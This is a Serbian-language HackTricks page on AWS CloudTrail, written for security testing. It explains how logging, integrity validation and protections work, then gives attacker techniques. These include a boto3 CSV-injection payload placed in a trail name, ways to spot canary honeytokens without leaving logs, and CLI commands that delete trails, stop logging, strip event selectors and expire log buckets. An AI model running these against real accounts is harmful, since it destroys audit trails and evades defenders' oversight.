AWS - CloudTrail Enum

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

CloudTrail

AWS CloudTrail beleži i prati aktivnosti unutar vašeg AWS okruženja. Snima detaljne dnevničke događaje, uključujući ko je šta uradio, kada i odakle, za sve interakcije sa AWS resursima. Ovo pruža evidenciju promena i akcija, pomaže u analizi bezbednosti, reviziji usaglašenosti i praćenju promena resursa. CloudTrail je esencijalan za razumevanje ponašanja korisnika i resursa, unapređenje bezbednosnih postavki i osiguravanje regulatorne usaglašenosti.

Svaki zabeleženi događaj sadrži:

  • Naziv pozvane API funkcije: eventName

  • Pozvani servis: eventSource

  • Vreme: eventTime

  • IP adresa: SourceIPAddress

  • Metod agenta: userAgent. Primeri:

  • Signing.amazonaws.com - Iz AWS Management Console

  • console.amazonaws.com - Root korisnik naloga

  • lambda.amazonaws.com - AWS Lambda

  • Parametri zahteva: requestParameters

  • Elementi odgovora: responseElements

Dogadjaji se upisuju u novu datoteku zapisa oko svakih 5 minuta u JSON datoteku, čuvaju se u CloudTrail-u i na kraju, datoteke zapisa se isporučuju u S3 oko 15 minuta nakon toga. CloudTrail zapisi mogu biti agregirani preko naloga i preko regiona. CloudTrail omogućava korišćenje celovitosti datoteka zapisa kako bi se moglo proveriti da li su vaše datoteke zapisa ostale nepromenjene od trenutka kada ih je CloudTrail isporučio vama. Stvara se SHA-256 heš zapisa unutar datoteke sa digestom. SHA-256 heš novih zapisa se kreira svakog sata. Prilikom kreiranja Traga, selektori događaja će vam omogućiti da naznačite trag za beleženje: Upravljanje, podaci ili događaji uvidi.

Zapisi se čuvaju u S3 kanti. Podrazumevano se koristi enkripcija na strani servera (SSE-S3) tako da će AWS dešifrovati sadržaj za osobe koje imaju pristup, ali radi dodatne bezbednosti možete koristiti SSE sa KMS i svoje ključeve.

Zapisi se čuvaju u S3 kanti sa ovim formatom imena:

  • BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD

  • Gde je BucketName: aws-cloudtrail-logs-<accountid>-<random>

  • Primer: aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/

Unutar svake fascikle, svaki zapis će imati ime koje prati ovaj format: AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz

Konvencija imenovanja datoteka zapisa

Osim toga, digest fajlovi (za proveru celovitosti datoteka) će biti unutar iste kante u:

Agregiranje Zapisa iz Više Naloga

  • Kreirajte Trag u AWS nalogu gde želite da se datoteke zapisa isporuče

  • Primenite dozvole na odredišnoj S3 kanti koje omogućavaju pristup preko naloga za CloudTrail i dozvolite svakom AWS nalogu koji treba pristup

  • Kreirajte novi Trag u drugim AWS nalozima i izaberite da koristite kreiranu kantu u koraku 1

Međutim, čak i ako možete sačuvati sve zapise u istoj S3 kanti, ne možete agregirati CloudTrail zapise iz više naloga u CloudWatch zapise koji pripadaju jednom AWS nalogu.

Zapamtite da nalog može imati različite Tragove od CloudTrail-a omogućene čuvajući iste (ili različite) zapise u različitim kantama.

Cloudtrail iz svih org naloga u 1

Prilikom kreiranja CloudTrail-a, moguće je naznačiti da se aktivira cloudtrail za sve naloge u organizaciji i da se zapisi dobiju u samo 1 kanti:

Na ovaj način možete lako konfigurisati CloudTrail u svim regionima svih naloga i centralizovati zapise u 1 nalogu (koji biste trebali da zaštitite).

Provera Datoteka Zapisa

Možete proveriti da li su zapisi izmenjeni pokretanjem

aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [--end-time <end-time>] [--s3-bucket <bucket-name>] [--s3-prefix <prefix>] [--verbose]

Dnevnici u CloudWatch-u

CloudTrail automatski može slati dnevnike u CloudWatch tako da možete postaviti upozorenja koja će vas obavestiti kada se izvrše sumnjive aktivnosti. Imajte na umu da je potrebno kreirati ulogu koja omogućava CloudTrail-u slanje dnevnika u CloudWatch. Preporučuje se korišćenje AWS podrazumevane uloge za obavljanje ovih akcija. Ova uloga će omogućiti CloudTrail-u da:

  • CreateLogStream: Ovo omogućava kreiranje CloudWatch Logs log tokova

  • PutLogEvents: Isporučuje CloudTrail dnevnike u CloudWatch Logs log tok

Istorija događaja

CloudTrail Istorija događaja vam omogućava da pregledate u tabeli dnevnike koji su zabeleženi:

Uvidi

CloudTrail Uvidi automatski analiziraju upravljačke događaje pisanja iz CloudTrail tragova i obaveštavaju vas o neobičnoj aktivnosti. Na primer, ako postoji povećanje događaja TerminateInstance koji se razlikuje od uspostavljenih osnova, videćete ga kao događaj Uvida. Ovi događaji olakšavaju pronalaženje i reagovanje na neobičnu API aktivnost više nego ikad.

Uvidi se čuvaju u istoj kanti kao i CloudTrail dnevnici u: BucketName/AWSLogs/AccountID/CloudTrail-Insight

Bezbednost

Integritet datoteka dnevnika CloudTrail

  • Proverava da li su dnevnici promenjeni (izmenjeni ili obrisani)

  • Koristi digest datoteke (kreira heš za svaku datoteku)

    • SHA-256 heširanje

    • SHA-256 sa RSA za digitalno potpisivanje

    • privatni ključ u vlasništvu Amazona

  • 1 sat je potrebno za kreiranje digest datoteke (obavljeno na svaki sat)

Zaustaviti neovlašćen pristup

  • Koristite IAM politike i S3 politike kante

    • tim za bezbednost —> administratorski pristup

    • revizori —> samo čitanje pristupa

  • Koristite SSE-S3/SSE-KMS za šifrovanje dnevnika

Spriječiti brisanje datoteka dnevnika

  • Ograničite pristup brisanju pomoću IAM i politika kante

  • Konfigurišite S3 MFA brisanje

  • Proverite sa Validacijom datoteka dnevnika

Pristupni savetnik

AWS Pristupni savetnik se oslanja na poslednjih 400 dana AWS CloudTrail dnevnika kako bi prikupio svoje uvide. CloudTrail beleži istoriju AWS API poziva i povezane događaje napravljene u AWS nalogu. Pristupni savetnik koristi ove podatke da pokaže kada su usluge poslednji put korišćene. Analizom CloudTrail dnevnika, Pristupni savetnik može odrediti koje AWS usluge je IAM korisnik ili uloga pristupila i kada se taj pristup dogodio. Ovo pomaže AWS administratorima da donesu informisane odluke o usavršavanju dozvola, jer mogu identifikovati usluge koje nisu korišćene tokom dužeg vremenskog perioda i potencijalno smanjiti preširoke dozvole na osnovu stvarnih uzoraka korišćenja.

Stoga, Pristupni savetnik obaveštava o nepotrebnim dozvolama koje su dodeljene korisnicima tako da administrator može da ih ukloni

Akcije

Enumeracija

# Get trails info
aws cloudtrail list-trails
aws cloudtrail describe-trails
aws cloudtrail list-public-keys
aws cloudtrail get-event-selectors --trail-name <trail_name>
aws [--region us-east-1] cloudtrail get-trail-status --name [default]

# Get insights
aws cloudtrail get-insight-selectors --trail-name <trail_name>

# Get data store info
aws cloudtrail list-event-data-stores
aws cloudtrail list-queries --event-data-store <data-source>
aws cloudtrail get-query-results --event-data-store <data-source> --query-id <id>

CSV Injection

Moguće je izvršiti CVS ubacivanje unutar CloudTrail-a koje će izvršiti proizvoljni kod ako se zapisi izvezu u CSV formatu i otvore u Excelu. Sledeći kod će generisati unos zapisa sa lošim imenom Trail-a koje sadrži payload:

import boto3
payload = "=cmd|'/C calc'|''"
client = boto3.client('cloudtrail')
response = client.create_trail(
Name=payload,
S3BucketName="random"
)
print(response)

Za više informacija o CSV ubacivanjima proverite stranicu:

Za više informacija o ovoj specifičnoj tehnici proverite https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/

Bypass Detekcije

HoneyTokens bypass

Honeytokensi su kreirani da detektuju iznošenje osetljivih informacija. U slučaju AWS-a, to su AWS ključevi čije se korišćenje prati, ako nešto pokrene akciju s tim ključem, onda je neko morao ukrasti taj ključ.

Međutim, Honeytokensi poput onih kreiranih od strane Canarytokens, SpaceCrab, SpaceSiren ili koriste prepoznatljivo ime naloga ili koriste isti AWS ID naloga za sve svoje korisnike. Stoga, ako možete dobiti ime naloga i/ili ID naloga bez stvaranja bilo kakvog loga u Cloudtrail-u, mogli biste znati da li je ključ Honeytoken ili ne.

Pacu ima neka pravila za detekciju da li ključ pripada Canarytokens, SpaceCrab, SpaceSiren:

  • Ako se canarytokens.org pojavi u imenu uloge ili ID naloga 534261010715 se pojavi u poruci o grešci.

  • Testirajući ih nedavno, koriste nalog 717712589309 i još uvek imaju nisku canarytokens.com u imenu.

  • Ako se SpaceCrab pojavi u imenu uloge u poruci o grešci

  • SpaceSiren koristi uuids za generisanje korisničkih imena: [a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}

  • Ako ime izgleda kao slučajno generisano, postoji visoka verovatnoća da je u pitanju HoneyToken.

Dobijanje ID naloga iz ID ključa

Možete dobiti ID naloga iz enkodiranog unutar pristupnog ključa kao što je objašnjeno ovde i proveriti ID naloga sa svojom listom AWS naloga za Honeytokens:

import base64
import binascii

def AWSAccount_from_AWSKeyID(AWSKeyID):

trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix
x = base64.b32decode(trimmed_AWSKeyID) #base32 decode
y = x[0:6]

z = int.from_bytes(y, byteorder='big', signed=False)
mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False)

e = (z & mask)>>7
return (e)

print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML")))

Proverite više informacija u originalnom istraživanju.

Ne generišite zapisnik

Najefikasnija tehnika za ovo zapravo je vrlo jednostavna. Samo koristite ključ koji ste upravo pronašli da pristupite nekoj usluzi unutar svog napadačkog naloga. Ovo će naterati CloudTrail da generiše zapisnik unutar VAŠEG VLASTITOG AWS naloga, a ne unutar žrtvinog.

Stvar je u tome da će izlaz pokazati grešku koja ukazuje na ID naloga i naziv naloga tako da ćete moći da vidite da li je to Honeytoken.

AWS usluge bez zapisa

Ranije su postojale neke AWS usluge koje ne šalju zapise CloudTrail-u (pronađite ovde listu). Neke od tih usluga će odgovoriti sa greškom koja sadrži ARN uloge ključa ako neovlašćena osoba (honeytoken ključ) pokuša da joj pristupi.

Na ovaj način, napadač može da dobije ARN ključa bez pokretanja bilo kakvog zapisa. U ARN-u napadač može videti AWS ID naloga i naziv, lako je znati ID i nazive kompanija HoneyToken-a, tako da na ovaj način napadač može identifikovati da li je token HoneyToken.

Imajte na umu da su svi javni API-ji koji su otkriveni da ne stvaraju CloudTrail zapise sada ispravljeni, tako da možda trebate pronaći svoje...

Za više informacija pogledajte originalno istraživanje.

Pristupanje trećoj infrastrukturi

Određene AWS usluge će pokrenuti neku infrastrukturu poput Baza podataka ili Kubernetes klastera (EKS). Korisnik koji direktno komunicira sa tim uslugama (poput Kubernetes API-ja) neće koristiti AWS API, tako da CloudTrail neće moći da vidi ovu komunikaciju.

Stoga, korisnik sa pristupom EKS-u koji je otkrio URL EKS API-ja može generisati token lokalno i komunicirati direktno sa API uslugom bez otkrivanja od strane CloudTrail-a.

Više informacija na:

AWS - EKS Post Exploitation

Modifikovanje CloudTrail konfiguracije

Brisanje tragova

aws cloudtrail delete-trail --name [trail-name]

Zaustavite staze

aws cloudtrail stop-logging --name [trail-name]

Onemogući višeregionalno beleženje

aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services

Onemogući beleženje pomoću selektora događaja

# Leave only the ReadOnly selector
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region <region>

# Remove all selectors (stop Insights)
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[]' --region <region>

U prvom primeru, jedan događajni selektor je dat kao JSON niz sa jednim objektom. "ReadWriteType": "ReadOnly" ukazuje da selektor događaja treba da zabeleži samo događaje samo za čitanje (tako da CloudTrail uvidi neće proveravati događaje za pisanje, na primer).

Možete prilagoditi selektor događaja prema vašim specifičnim zahtevima.

Brisanje zapisa putem S3 lifecycle politike

aws s3api put-bucket-lifecycle --bucket <bucket_name> --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region <region>

Modifikovanje konfiguracije kante

  • Obriši S3 kantu

  • Promeni politiku kante da odbije sve upise iz CloudTrail servisa

  • Dodaj politiku životnog ciklusa za S3 kantu da obriše objekte

  • Onemogući ključ kms koji se koristi za šifrovanje CloudTrail logova

Cloudtrail ransomware

S3 ransomware

Možete generisati asimetrični ključ i naterati CloudTrail da šifruje podatke tim ključem i obrišete privatni ključ tako da se sadržaj CloudTrail-a ne može povratiti. Ovo je u osnovi S3-KMS ransomware objašnjen u:

AWS - S3 Post Exploitation

KMS ransomware

Ovo je najlakši način da se izvede prethodni napad sa različitim zahtevima dozvola:

AWS - KMS Post Exploitation

Reference

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated